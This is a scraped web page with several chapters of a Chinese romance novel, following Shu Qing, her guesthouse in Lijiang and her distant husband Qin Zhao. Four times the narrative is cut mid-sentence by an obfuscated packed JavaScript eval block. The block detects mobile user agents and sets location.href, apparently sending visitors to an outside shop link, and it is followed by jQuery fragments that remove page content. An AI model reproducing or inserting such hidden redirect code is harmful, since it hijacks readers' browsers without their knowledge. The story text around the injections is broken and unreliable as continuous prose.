舒晴在心里翻了个白眼,也不在这件事情上纠结了,直言道:“我听说你和爸想把公司百分之三的股份转让给舒薇禾,是真的吗?” “是有这件事,但是.......” 她话还没说完,就被舒晴打断了:“妈,你们养她这么大已经仁至义尽了,为什么还要给她公司股份呢!” “薇禾毕竟照顾了我和你爸这么多年,总得给她些回报。” “是她在照顾你们,还是你们照顾她啊?” 见她如此质问,刘雅梅红着眼说:“这些年我们一直互相照顾着...你被拐走的几年我一看到你的照片就想哭,担心你吃不好睡不好,天天跟你爸吵架,你爸好几次因为自责而犯心脏病。 后来有一天,薇禾出现了,她在街头流浪,瘦瘦小小的,眼睛很大,长得有点像你。 你爸有一次心脏病犯了就是她救的,那时我们将她送到福利院去了,并没有想领养她,后来偶然听说那个福利院院长因为猥亵儿童罪坐了牢,薇禾又经常被别的孩子欺负,我一时心软就将她接回家住了,这一住就到了现在......她善解人意,给了我和你爸很大的慰藉,而且手心手背都是肉,我们爱你九分,剩下一分给她不为过吧。” “我随便你们怎么爱她,但是给她股份就是不行!”舒晴态度坚决。 “公司股份大头是你占,给她百分之三怎么了。再说了当初你刚回来那会儿,不是和她好得同穿一条裙子吗,怎么现在就生分了呢。”刘雅梅十分不解。 “妈,家贼难防,你以为舒薇禾真像表面那样单纯无害吗?”舒晴厉声道,“这次爸的公司差点破产不就是她害的吗!” 为了这个家,为了她爸多年的心血,她嫁给了自己不喜欢的秦兆,没想到她心心念念的家人却这样对她。 舒晴心里的怒火在体内乱窜着,着实为自己感到不值。 刘雅梅却还在为舒薇禾开脱:“这次薇薇不是故意的,她也是被人骗了.......” “行了行了,妈我跟你说不通,我跟爸说去。”舒晴转身上了楼,气冲冲直奔她爸书房。 舒国强昨天下午就出院了,美名其曰回家养病,实则在马不停蹄地处理公司事宜。 进了书房,舒晴直奔主题,疾言厉色地提出自己的质疑。 舒国强说:“我是有这么个想法,但是这件事儿还需要全体股东表决同意才行。” “那我是不会同意的。”舒晴持有舒氏集团12%的股份,对此有表决权。 听到这里,舒国强深深地看了眼舒晴说:“晴晴,该是你的还是你,谁也抢不走,而且秦兆说了他要以你的名义入股舒氏集团,到时候你就公司最大的股东,薇禾那点股份你就别计较了。” 舒晴先是惊讶她要一跃成为他们集团最大的股东这件事,接着又有些生气:“这不是计较不计较的事儿,舒薇禾出卖商业机密,让公司损失惨重这件事你忘了吗,你们不仅不追究她的责任,还要给她股份,这是什么道理啊。” “薇薇只是说漏嘴了,才让有心人钻空子,爸爸已经批评过她了,还扣了她半年工资,她已经认识到错误了。而且这次主要是公司战略管理有问题,才导致这么大的危机,你也别揪着不放,伤了姐妹和气。” 一个两个的都为舒薇禾开脱,她说再多还有什么用,舒晴气得转身离去,心里打定主意坚决不让舒薇禾获得集团股份。 * 临近清明,雨水天气多了起来,连日阴沉。街边的树木被洗刷一新,绿叶上的晶莹雨珠落下来碎了一地。 舒晴站在便利店的屋檐下,面对连绵阴雨发愁,她没带伞,在这里等了许久雨都没停,家里司机也被堵在路上,叫车也没人接单。 她打算冲到对面公交车站等车。 舒晴头顶包包,瞅着绿灯一亮,立马冲到了马路对面的公交车站。 凉丝丝的雨落到她身上,淋湿了她的衣裙,让她整个人显得有些狼狈。 舒晴今天穿了条白色薄纱连衣裙,如今被雨这么一淋,湿漉漉黏在她身上,凸显出窈窕曲线。 挤在公交车站台等车的人不少,她默默站到了角落,低头整理自己。 察觉到身边有个男人一个劲地瞄过来,朝她被雨水打湿的胸口看,舒晴狠狠瞪了他一眼,男子讪讪别开眼。 舒晴走到人群另一边默默等车,正在这时,一辆黑色宾利缓缓停在她边上,还打了两声喇叭。 舒晴垂眸看着手机,并没在意。 黑色宾利降下车窗,露出秦兆那张英俊的脸。 在舒晴有些呆征的目光中,他开口道:“快上车。” 公交车还没来,她也不想继续待在这儿,忍受一些男人露骨的目光,便顺从地打开副驾驶的车门坐上去。 秦兆递了条干净的毛巾给她:“擦擦吧。” “谢谢。”舒晴接过毛巾擦拭微湿的长发。 车内的暖气已经打开,驱散了舒晴身上的湿寒。 她倚在车背上,转头看他:“你怎么在这儿?” “刚好路过。”秦兆言简意赅。 “哦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562539|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 沉默了一会儿,舒晴问他:“听说你想要以我的名义入股舒氏集团?” “对。” “为什么?”她有些不解。 “你就当是我送你的新婚礼物吧。” 舒晴无语凝噎,就当他人傻钱多了。 她虽然志不在此,也只能含泪躺着赚钱了。 停车等红灯的时候,秦兆接了个电话。 听着那头传来隐约的娇媚女声,先前舒晴涌起的细微感动瞬间烟消云散。 果然男人没一个好东西。 挂断电话后,秦兆对上舒晴毫不掩饰的鄙夷目光,心里不由得涌上股憋闷的郁气。 “是我助理,她有些事情要跟我汇报。”他解释道。 “不用跟我解释,你就算开后宫我也没意见。” “你对我有偏见。”秦兆平静的声线下带着不易察觉的低落。 舒晴听出来了,也懒得否认。 她淡淡地望着窗外的车流,两人一路无言。 因为下雨的缘故,大街上有些拥堵,不时有急切的车喇叭声响起,街上行人往来匆匆。 舒晴眼眸一转,不经意间在街边看到了一个熟悉又陌生的男生。 准确来说,应该是男人。 他明显张开了很多,褪去了少年的青涩稚嫩,多了几分男人的成熟。 眉眼依旧精致如画,轮廓立体,凌冽的五官俊美逼人。 他剪着寸头,穿着一身黑在雨中独行,双手插兜,步履不急不缓,神态散漫不羁,仿佛什么事都没放在眼里。 忽然间他眼皮漫不经心一掀,视线越过车水马龙,遥遥对上了舒晴的目光。 舒晴悚然一惊,赶紧收回目光。 车子很快疾驶而过,但刚才那一幕却像投入她心湖的石子,激起了千层浪。 她确定自己没有看错,可他为什么会出现在大街上? “周让是不是出狱了?”舒晴语调带上了明显的颤音。 “你看到他了?”秦兆问。 “对,就刚刚,我好像看到他了。” “有我在,别担心。”秦兆看起来并不惊讶,语气如常。 舒晴陷入一种不安的情绪中,对他的话并不在意。 周让带给她的记忆太过深刻,三年前那件事至今回想起来还心有余悸。 “你害怕再见到他?”秦兆深邃的双眸注视着她。 “没有。”舒晴深吸一口气,努力平静下来。 “他一定回来找你,你就不怕他也跑去丽江?”秦兆问。 “最危险的地方就是最安全的地方,没人告诉他,他绝对想不到我会在哪里。” 她已经不是三年前的她了,就算周让现在站在她面前,她也无所畏惧。 到了她住的小区,舒晴疏离地和秦兆道了声谢就下车了。 秦兆长腿一迈,也跟着她下车了。 “我送你到家。”他说。 “不用。”舒晴冷淡拒绝。 秦兆却很坚持。 舒晴也懒得管他,自顾自地往前走,当他不存在似的。 坐电梯上到十六楼,舒晴正想输码进家门,却发现门是虚掩着的,一推就开。 5. 反目 舒晴瞬间警铃大作,后退了一步。 她记得自己明明关好了门才出去的,可现在门确是开着的。 秦兆也发现了异常,他沉着脸将舒晴挡在身后,然后走起上前去猛地推开门。 屋内空无一人,秦兆走进去检查一番,也没发现有人。 他朝舒晴摇摇头。 舒晴才松了一口气,走进自家。 家里的东西并没有少,和她出门似乎没什么两样,但她却在茶几上发现了一盒玫瑰饼。 那是她以前很爱吃的东西,只有周让喜欢给她买。 舒晴咬着牙,马上打电话给物业,说家里进贼了,要求看监控。 舒晴和秦兆来到监控室,在监控录像里果然看到了周让的身影。 门口的密码设置的是她生日,周让知道她的生日,所以一试就轻易进了她家门。 周让在她家里待了半个多小时才出来,也不知道都干了什么。 “要报警吗?”秦兆目光从监控里移向眉头紧皱的舒晴。 舒晴想了一会儿,摇摇头。 报警无济于事,周让顶多关十天半个月就出来了。 周让那性子,疯起来不达目的不罢休,就算暂时被关了,出来第一件事说不定还是要找她。 她还是赶紧离开的好。 舒晴回家第一件事就是换了门口的密码,然后将机票改签到今天晚上,接着拖出行李箱开始收拾要带的衣物。 等她拖着行李箱走出家门的时候,却被楼道里倚墙而立的男人吓了一跳。 “是我,别怕。”昏黄的灯光打在秦兆清俊的脸上,增添了几分暖意。 “你怎么还在这里?”认出是秦兆后,舒晴有些奇怪地问。 “我送你到机场,走吧。” 秦兆说罢,接过她手中的行李箱就进了电梯,站在里面看着她。 既然他乐意为她效劳,舒晴也随他去了。 “你怎么知道我要去机场?” “猜的。”秦兆透过光可鉴人的电梯壁看她。 舒晴穿了件卡其色风衣,简约利落,柔顺黑亮的长发扎成一个马尾,整个人看起来优雅又干练。 “你最近怎么那么闲?”舒晴问他。 秦兆自从和她领证之后,就像变了一个人似的,频频对她献殷勤,实在不正常。 “我没你想的那么忙,送你的时间还是有的。” 舒晴抱着双臂不再说话。 雨后的街道上湿漉漉的,雨水积在路面,宛如银镜般将车水马龙都倒映在其中,沿街的树叶被雨打落了一地,城市璀璨霓虹灯光明明晃晃的,看久了人眼睛发涩。 舒晴从车窗外收回视线,扔给秦兆一句话,“到了叫我。”然后就开始闭眼小憩。 半睡半醒之之际,舒晴感觉车子猛地一停,她睁开眼,发现秦兆将车停在了路边。 “你干嘛呀?”她奇怪地问。 “抱歉,今天忘吃药,头痛的老毛病犯了。” 秦兆一边说一边伸手从车柜里拿出一个小药瓶,倒出两片药吞下。 车外明亮的灯光正好照过来,舒晴清晰地看到了药瓶身上的名称:替莫唑胺胶囊。 联想到秦兆的病,舒晴悄悄记下这个药名,然后打开手机百度了一下,发现这是一种抗肿瘤药物。 舒晴用复杂的目光打量秦兆。 他紧蹙着墨眉,薄唇紧抿,玉骨般的长指搭在太阳穴缓缓揉着,以缓解不适。 先前他一点症状都没表现出来,看起来和常人没什么区别。 直到这一刻,舒晴仿佛才感觉到了他的脆弱。 “你没事儿吧?”舒晴担忧地问。 “不要紧。”他的声音带着隐忍的克制。 “要不你别送我了,去医院看看吧。” 秦兆摇摇头,看样子好像缓过来,他重新启动车开上路。 舒晴虽然不喜欢他,此时也不由得对他染上了一丝丝同情和惋惜。 秦兆虽然对她有所隐瞒,但也没做过什么对不起她的事,反而一直在帮着她。 要不是性子有点冷,不对她的胃口,舒晴说不定会倒追他。 但现在他身患绝症,除了同情,舒晴不会对他产生一丝一毫的情感。 到了机场后,舒晴简单道过谢后就头也不回地走了。 秦兆目送她毫不留恋的背影,攥紧手,克制住全身喧嚣着要将她留住的冲动,落寞离开。 晚上十一点左右,飞机缓缓降落在丽江机场。 陆安安捧着一大束花在接机口等着她,见到舒晴走过来,兴奋地朝她挥手。 她扎着个俏皮的丸子头,穿着条波西米亚风格的长裙,红唇淡抹,笑意盈盈:“舒晴,这里!” 舒晴笑着迎上前,一把抱住她:“久等了安安。” 陆安安比她早两天来到丽江,准备她们民宿的开业事宜,可谓是居功至伟。 “宝贝辛苦啦!”舒晴亲了她一口。 陆安安故作嫌弃地抹掉她留在她脸上的口水,然后问她吃饭了吗。 “吃了,还有点饿。”舒晴摸了摸肚子。 “那我等会儿带你去吃夜宵。”陆安安说。 她们在机场外打了一辆出租车前往民宿。一个小时后,出租车就停在了一栋三层楼民宿前。 门口是古色古香的中式风格,门匾上用隶书写着‘悠云民宿’四个大字,进去就是一个繁花盛开的开阔庭院,各色绿植、鱼池将庭院装点得格外清新、雅致,凉亭摇椅一应俱全,整个宅院建筑雕工精美,设计独特。 夜晚的风裹挟着淡淡的花香拂面而来,令人心旷神怡。 “我上次来,这里的花还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562540|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开呢。”舒晴一边走一边说。 “春天到了嘛,明天我们再去花市买些盆栽回来,摆在二楼廊道上,一定很美。”陆安安说。 她们顺着鹅卵石铺成的小径走进大堂内,里面风格中西结合,在灯光的映衬下显得温馨明净。 陆安安坐在柔软的沙发上,问她要不要喝水。 舒晴摇摇头,将行李箱推到后院的房间,然后和陆安安就手挽着手,一起走着去四方街吃东西。 灯火璀璨的四方街店铺林立,游人熙攘,热闹非凡。 舒晴和陆安安一路吃吃喝喝,聊着近期以来发生的事情。 “你说你父母怎么想的,舒薇禾这个白莲花鸠占鹊巢就算了,怎么还要占你们公司的股份!”陆安安为她打抱不平。 “股份转让需要半数以上股东同意,那些老股东不是吃素的,我也不会让她有这个机会。”舒晴说。 “你当初不应该对她心软,就应该将她扫地出门!”陆安安一脸愤慨地说。 舒晴叹息道:“我曾经感激她对我爸妈十年的陪伴,是她装得太好,我差点都被她迷惑了,也难怪我爸妈被她蒙蔽,看不出她的真面目。” 舒晴十八岁那年回到原来的家中,被养得像公主一样的舒薇禾见到她,就处处讨好,待她十分温柔亲切,那时舒国强夫妻怕她心里不舒服,还问她要不要将舒薇禾送走,舒晴一时心软,就同意舒薇禾留下了。 之后她们做了几年亲密无间的好姐妹,直到因为路齐铭而反目。 “还好是你嫁给了秦兆,要不然啊什么好事都让她占了。”陆安安说:“不过秦兆有点可惜,要不是身患绝症,我还想你们来一段先婚后爱的戏码呢。” “先婚后爱?还是算了吧,他心里可是有人的。”舒晴不屑地说。 再回到民宿的时候,已经是深夜了。 舒晴躺在床上,透过屋顶的天窗,看到了漫天璀璨星河,唯美梦幻。 这里的一切都十分符合她的设想。 一起开家民宿,是她和陆安安大学时候就有的想法,如今终于落地实现了。 舒晴的心情十分激动,翻来覆去好久才入睡。 她起了个大早,和陆安安在民宿里了拍了好多好看的照片。 她大学就是摄影专业的,拍出来的照片构图精巧,美轮美奂,极富意境。 她筛选了数张照片,再配上文案发布到民宿官网和公众号,陆安安还做了不少网络营销。 临近五一小长假,民宿接到了不少客房预订。 五一那天,民宿来了几个不速之客。 彼时舒晴正在厨房给其他住客做果茶,忽然陆安安把她叫出来了,还一脸神秘悄声跟她说:“你绝对想不到谁来了。” “谁啊?”舒晴有些好奇。 “你老公。”陆安安一脸揶揄。 6. 勾引 “他怎么来了?”舒晴满头黑线。 “醉翁之意不在酒,他肯定是为你而来的。” 走到大堂,舒晴一眼就见到了秦兆。 他西装革履地坐在沙发上,一条胳膊随意搭着沙发背,深海般的漆黑眸子一瞬不瞬地看着她。 秦兆身边还站着一男一女,都穿着职业装,看起来像是他的助理。 “你怎么来了?”舒晴问他。 “出差,顺便来旅游。”秦兆回答。 日理万机的公司总裁跑来这儿旅游?舒晴一脸怀疑地看着他。 “舒小姐你好,我是秦总的助理唐絮,上个星期,我在这儿预定了三间大床房。” 唐絮一身酒红西装裙,身材高挑,长相妩媚,红唇妖娆,正微笑着瞧向舒晴。 “舒小姐你好,我是秦总的秘书徐铭易。” 他客气地和舒晴打招呼,带着眼镜,模样斯文周正,看着很年轻,像刚毕业的大学生。 来者皆是客,舒晴直接吩咐前台小妹给他们办理入住手续。 “哦,对了,秦总可能要在这儿长住。”唐絮忽然说。 “长住?你要住多久?”舒晴疑惑地看向秦兆,不懂他想搞什么。 “一年左右。”秦兆道。 一年?他当她这里是临终关怀医院吗。 舒晴正想怎么拒绝,就听陆安安说:“没问题。” 舒晴不赞同地看着她,陆安安却给了她一个安抚的眼神,然后接着道:“费用就按每个月五千来算吧。” 唐絮点点头,直接刷卡转账。 等他们上楼后。 不等舒晴开口,陆安安就解释道:“有钱不赚是傻子,再说了有他助理在,轮不到我们帮忙收尸,你就放心吧。” 舒晴想想也是,现在民宿刚开始经营,当然是客源越多越好,只是这次来的客人特殊了一点,不过她也没什么好介意的。 * 夜凉如水,月光温柔地笼罩着静谧的民宿,洒落浅浅清辉,在窗台上镀上了一层银色。 舒晴推开窗户的时候,恰好看到了对面阳台上的秦兆。 他的神情比夜色还要深沉,手里燃着一根烟,正闪着明灭不定的火光。 舒晴满脸不悦。 生病了还抽烟,是嫌自己死得不够快吗。 似乎是注意到了她的目光,秦兆那双幽深的眸子看了过来,视线跟她在空中交汇,一瞬后又云淡风轻地移开。 在她的地盘上还敢这么无视她,当她透明人吗,舒晴有些生气。 她直接上楼敲响了他的门。 过了一会儿,秦兆打开一条门缝,露出半张脸,冷淡的声音传出来:“有事吗?” “没事就不能来找你吗?”看他遮掩着门口没让她进去,想到他那个娇媚的助理,舒晴挑眉道:“干嘛不让我进去,你里面不会金屋藏娇吧?” 她一边说着一边从门缝里挤进来,秦兆放任她走进屋内,然后合上门。 舒晴扫了一眼屋子,发现并没有别的人。 她自顾自地走到沙发上坐下。 “你到我这儿来,究竟想做什么?”舒晴问。 “来看看你。” 舒晴被他说得一愣:“大老远跑来看我?秦总是太闲了吗。” “看你有没有背着我找别的男人。”秦兆接着说。 舒晴闻言朝他翻了个白眼,顺着他的话说:“男人我都藏在你找不到的地方,你肯定发现不了。” 秦兆垂眸不再说话,屋里冷白的灯光映照在他的脸庞,让他整个人看上去更清冷,指尖的烟积累了长长一截烟灰,白雾袅袅。 “对了,我们民宿不允许抽烟,要让我再看到你抽烟就请你离开这里。”舒晴说。 秦兆闻言点点头,在烟灰缸里摁灭了手中的烟,接着掀眼看她。 “还有事吗?没有就回去早点睡吧。” 舒晴十分看不惯他这副高冷淡漠的模样,总想做些什么来打破他伪善的假面。 她起身站起来,迈着轻盈的步伐走到墙边的大床上,然后当着秦兆的面趴在床上,随意晃动两条白皙匀称的小腿,媚眼如钩地瞧着他:“今晚我要在这儿睡。” 秦兆静默了一会儿,然后面不改色地问:“需要帮你关灯吗?” “......关吧。” 既然他都不怕那她有什么好担心的。 屋里夜色弥漫,秦兆借着银白月光走到床边。 舒晴感觉床沿微微下陷,身上带着淡淡烟草味的秦兆躺了上来,她顺势滚到他怀里,柔软的身体贴近他结实的胸膛。 男人瞬间浑身紧绷,没想到她会做出这种举动。 舒晴忍不住笑:“你怎么好像被人非礼似的。” 她笑归笑,但接下来并没做出什么让他招架不住的动作,秦兆渐渐放松下来。 舒晴戳了戳他结实的胸膛:“你是不是对女人不感兴趣啊。” 秦兆沉默着。 舒晴思维不断发散,大胆猜测:“难道你喜欢男人?” “没有,别瞎想。”秦兆冷声道。 “我睡不着,你陪我聊聊天呗。” 秦兆一言不发,舒晴变本加厉,轻轻往他耳朵里吹了一口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562541|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他再也忍不住,翻身覆上她,手臂在两边撑起,性感喉结上下滚动:“舒晴,别再撩拨我,后果你承担不起。” “我们是夫妻啊,撩拨你犯法了吗?”她故作无辜的眨眨眼,春水似的眸子在月光辉映下分外蛊人。 “你真当我是你丈夫吗?”他语气低沉。 “你一定是喜欢男人。”经过这些试探,舒晴十分肯定地说。 “我不喜欢男人。” “要想证明,那你当着我的面给你的白月光打个视频电话,我看他是男是女。” “我没有什么白月光,你都听谁说的。”秦兆语气无奈。 舒晴嘿嘿直笑,她以前怎么没发现秦兆这么好玩。 “没有白月光,那你怎么碰都不敢碰我?”舒晴依旧大言不惭,还用脚丫滑|蹭着他小腿,完全不怕他会对她做什么。 “你再这样,今晚我们都别想睡了。” 秦兆目光变得危险起来,像伺机而动的猎豹,看着依旧一脸挑衅的舒晴,他微凉的指腹抚上她光滑细腻的肩膀,将那细细的肩带缓缓剥|落,接着又一路游移,碾上她饱满娇嫩的红唇,轻轻摩挲,“你是想让我这样吗?” “那你敢吗?”舒晴目光挑衅。 秦兆定定看了她两秒,俯身压下欲吻她。 就在他唇落下的前一秒,舒晴迅速偏头,她内心狂跳,心想秦兆这招以进为退玩得溜啊,她差点玩火自焚。 虽然她的反应在意料之中,但是秦兆还是有些失落,他干脆地起身下床,淡淡地留下一句“你早点睡”就开门离去。 她总是三分钟热度,想一出是一出,他早已领教过了,不该再抱有幻想。 舒晴一夜好梦,不知道为什么,总觉得秦兆的床比她的要睡得舒服。 打开房门,清晨和熙明媚的阳光霎时洒到身上,暖呼呼的,舒晴惬意地眯起眼,伸了伸懒腰。 隔壁房间忽然走出一个人,见到她似乎有些惊讶。 “早上好啊,徐助理。”舒晴笑眯眯地和他打招呼。 “舒、舒小姐早上好。”徐铭易看起来有些羞涩。 “在这儿住的怎么样啊,我们民宿还不错吧。” “很好,这里很漂亮,服务也很周到。”徐铭易说。 “那有什么需要你再跟我说。” “嗯。” 舒晴懒懒靠着围栏,在凉亭处看到了昨晚一夜未归的秦兆。 他看她的眼神和以往没什么变化,一如既往的平静无波,仿佛没什么人能激起他心底的波澜。 “早啊,老公!”舒晴眉眼弯弯地扬起笑,朝他挥挥手。 7. 亲密 秦兆身体似乎僵硬了一瞬,他身边坐着的唐絮浮起了个饶有兴趣的笑容。 楼下正在浇花的陆安安瞪大眼睛,不敢相信她竟然是从秦兆房里走出来的,还叫出这么个称呼。 舒晴回到后院的房间,脱下睡衣,换上了身简单的白色露肩上衣加蓝色牛仔裙,露出迷人的锁骨和雪白的肩颈线条。 她刚换好,就见陆安安推门进来了。 “你昨晚和秦兆睡了?”陆安安惊讶地问。 “他才不敢睡我。” 舒晴接着和她说了昨晚发生的事情。 陆安安一脸狐疑:“他难道是那方面不行,不敢碰你是怕受到你的嘲笑?” “谁知道呢。” “那你还这么亲密地喊他老公。” “逗逗他嘛,生活总归需要激情。而且你不知道我昨晚撩他的时候,他的反应有多好笑。”舒晴忍俊不禁地说。 自从来到丽江,远离了满是糟心事的京市,她的日子变得分外安逸,民宿运营慢慢步入正轨,她每天就是浇浇花除除草,偶尔接待一下民宿住客,虽然过着如诗般的惬意生活,但总感觉少了点激情。 秦兆现在的作用就是她平淡生活的调味剂。 “你可别逗着逗着把自己搭进去。”陆安安劝诫她。 “我才不会。”舒晴一脸无畏。 * 午后的阳光变得慵懒起来,天空一碧如洗,棉花糖似的云朵点缀其中,看起来美不胜收。 舒晴坐在三层的观景台上品茶赏景,惬意地享受阳光的洗礼,心中十分安然。 这里视野极佳,丽江古城的秀美风光尽收眼底,白雪覆顶的玉龙雪山在阳光的照耀下金光闪闪,神圣而美丽。 “哒哒哒......” 高跟鞋的声音从身后富有节奏地响起。 不待舒晴回头,余光一抹淡紫裙摆飘过,唐絮优雅地坐到了她对面的茶座上,妆容精致,长发飘飘。 “舒小姐不介意我在这里坐吧。” “随便。”舒晴喝了口茶,淡淡地看了她一眼。 “这里的风景很好,我很羡慕舒小姐的生活。”唐絮轻启红唇,眼里带着笑意。 “没什么好羡慕的,住久了也就那样。” “明天我就要回公司了,虽然才来两天,但有些不舍。” 看舒晴没说话,唐絮又说:“不瞒你说,秦总最近身体不太好,徐秘书又是个不怎么细心的人,还望舒小姐多多照顾。” “你这么关心他,不会是他的红颜知己吧。”舒晴道。 “舒小姐多虑了,我为秦总工作近五年了,对他有些下属情,有什么僭越的地方希望你能谅解,我也真诚希望秦总和舒小姐能一直幸福下去。” 唐絮自这天后就离开了。 日子一天天过去,舒晴每天的生活安逸自在,偶尔逗逗秦兆,但他对她的调侃好像已经免疫了。 舒晴仔细观察过他,觉得他并不像一个绝症晚期病人,除了看起来瘦了些没啥不对劲的。 身为他的妻子,即便是名不副实的,舒晴决定还是关心关心他,毕竟最后她是要继承他遗产的,对他关照一下也是应该的。 秦兆照旧坐在庭院一隅的凉亭下喝茶看书,身穿白衣黑裤,五官深刻,眉眼清隽。 “你不说来旅游吗?怎么天天待在这里?”舒晴坐到他身边的椅子上。 “在这儿就挺好的。”秦兆翻了一页手中的书,神情淡然,连眼都不抬一下。 “你真要在这里待上一年?公司不管啦?” “公司现在秦佑管着,不用我多操心。” 他不操心,舒晴却担心起来:“你把公司交给他,不怕公司垮了?” 秦兆公司要是垮了,那他的遗产岂不是要大打折扣,舒晴决不允许这样的事情发生。 “要不你还是赶紧走吧,交给他这么不靠谱的人你怎么放得下心呀。”她真怀疑他是不是老糊涂了。 “公司里还有董事会帮着他,而且所有决策最后还是我拍板决定,你不必担心。”秦兆说。 舒晴还想再说什么,忽然感觉光裸的小腿被什么毛茸茸的东西蹭了一下,她瞬间汗毛倒立。 垂眸一看,一只白猫扬着尾巴坐在她脚边,眼珠宛如绿宝石般晶莹剔透,它在她惊恐的目光中又蹭了一下,还冲她‘喵’了一声。 “我靠!”舒晴吓得直接蹦起来,正想远离却左右脚一绊,扑到了秦兆怀中。 慌乱中,她手下没个轻重,不知按到了什么地方,只听秦兆低低闷哼一声,咬紧后牙,将她扶稳后稍稍推开。 舒晴却害怕地缩回他怀里:“你、你先帮我把猫赶跑。” “猫刚才已经被你吓跑了。”秦兆无奈地摸了摸她的长发,试图安抚她。 “哦。”舒晴站直身,小脸红扑扑的,有些不好意思。 陆安安是个狂热的宠物爱好者,在民宿里养了几只猫,舒晴因为小时候被猫挠过所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562542|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以有些害怕,平常看到它们都是要离多远有多远,好在猫大多是高冷动物,见她不喜,很少凑到她跟前。 但今天这只白猫是新养的,十分爱亲近人,吓得舒晴一惊一乍的。 “喝点茶吧。”秦兆倒了杯茶给她。 舒晴接过茶杯,轻轻吹开热气,小口喝起来,甘甜的热流浸润心肺,纾解了她惊魂未定的情绪。 秦兆视线落在舒晴脸上。 她杏眼清透,如同雨后新霁,泛着水雾,唇瓣红润诱人,秦兆的喉结不自主地动了动,在她看过来之前,不动声色地移开了目光。 “下午要不要我带你去附近逛逛?”舒晴念在他刚才的善举,好意对他说。 “不了。”他的语气一如既往的冷淡,让舒晴有一种热脸贴冷屁股的感觉。 舒晴喝完茶黑着脸离开,心想以后她再主动来搭理他,她就是猪! * 下午民宿来了对小情侣,男的叫谢天明,文质彬彬的模样,女的叫刘妍,长得娇俏可爱,两人手牵着手,眼神时刻胶着,看起来很登对。 舒晴一边领着他们上楼,一边介绍民宿的布局。 二楼廊道上躺着一只胖乎乎的狸花猫,正闭着眼懒洋洋地晒太阳。 刘妍瞧见了很是惊喜,抱起猫爱不释手地抚摸道:“舒晴姐,你们这儿还养猫啊。” “是啊。” “真好,我最喜欢猫了。” “那以后我们也养一只。”谢天明笑着说。 他们相视一笑,情意绵绵,周围似乎有粉红泡泡弥漫,舒晴默默吃下了这碗狗粮,将他们带到房间后,就离开了。 先前那只狸花猫此时正懒懒瘫在走廊中间睡觉,四仰八叉的身躯占据了走廊一大半,舒晴要走下楼势必要经过它。 舒晴和这只猫有过节,第一次见到它的时候,她不小心踩了下它尾巴,从此被它记恨上了,一见到她就要追着她打。 为了不惊动它,她小心翼翼地侧贴着墙走,大气都不敢出一声。 就快走过它的时候,忽然一个低沉的声音响起:“你在做什么?” 秦兆从楼道口上来,见状随即问道。 舒晴头皮一炸,觉得大事不妙。 果然那只狸花猫猛地睁开了眼,琥珀色的瞳仁冷冷地锁定姿势怪异的舒晴,像看猎物一样。 舒晴被它盯着动都不敢动,一人一猫对视了一会儿,只听“喵”的一声,狸花猫凌空一跃,扑向了舒晴。 8. 约会 舒晴惊叫一声,慌忙躲到秦兆身后:“秦兆快救救我!” 秦兆一遍护住舒晴,一边制住狸花猫,手背都被它挠了几下。 狸花猫也不恋战,很快跑开了。 舒晴拍拍胸脯松了一口气:“这只小气猫吓死我了,你没事吧?” 秦兆还没说话,她就看到他手背有猫抓的挠痕,刺目的鲜血正慢慢渗出。 舒晴连忙捉住他的手仔细看伤口:“你受伤了!疼不疼?” “没事,不疼。”秦兆看起来眉头都不皱一下,定定看着她牵着自己的那只手。 “楼下有医药箱,我先帮你处理一下。” 舒晴先到卫生间帮秦兆冲洗伤口,陆安安走过来问发生了什么事。 “秦兆被猫抓伤了,流了好多血,你帮我找找医药箱在哪儿。” 陆安安在柜子里找出医药箱,交给舒晴。 她瞄了一眼秦兆的伤口,发现伤口挺深的,“是不是那只狸花猫挠的,这几只猫就属它最凶。” “就是那只猫。”舒晴有些生气地说。 “那只猫虽然打过疫苗了,但伤口那么深,还是去医院打个狂犬疫苗比较好。”陆安安说。 秦兆开口:“不用那么麻烦。” “不行,等会儿你就跟我去打医院打疫苗。”舒晴斩钉截铁地说。 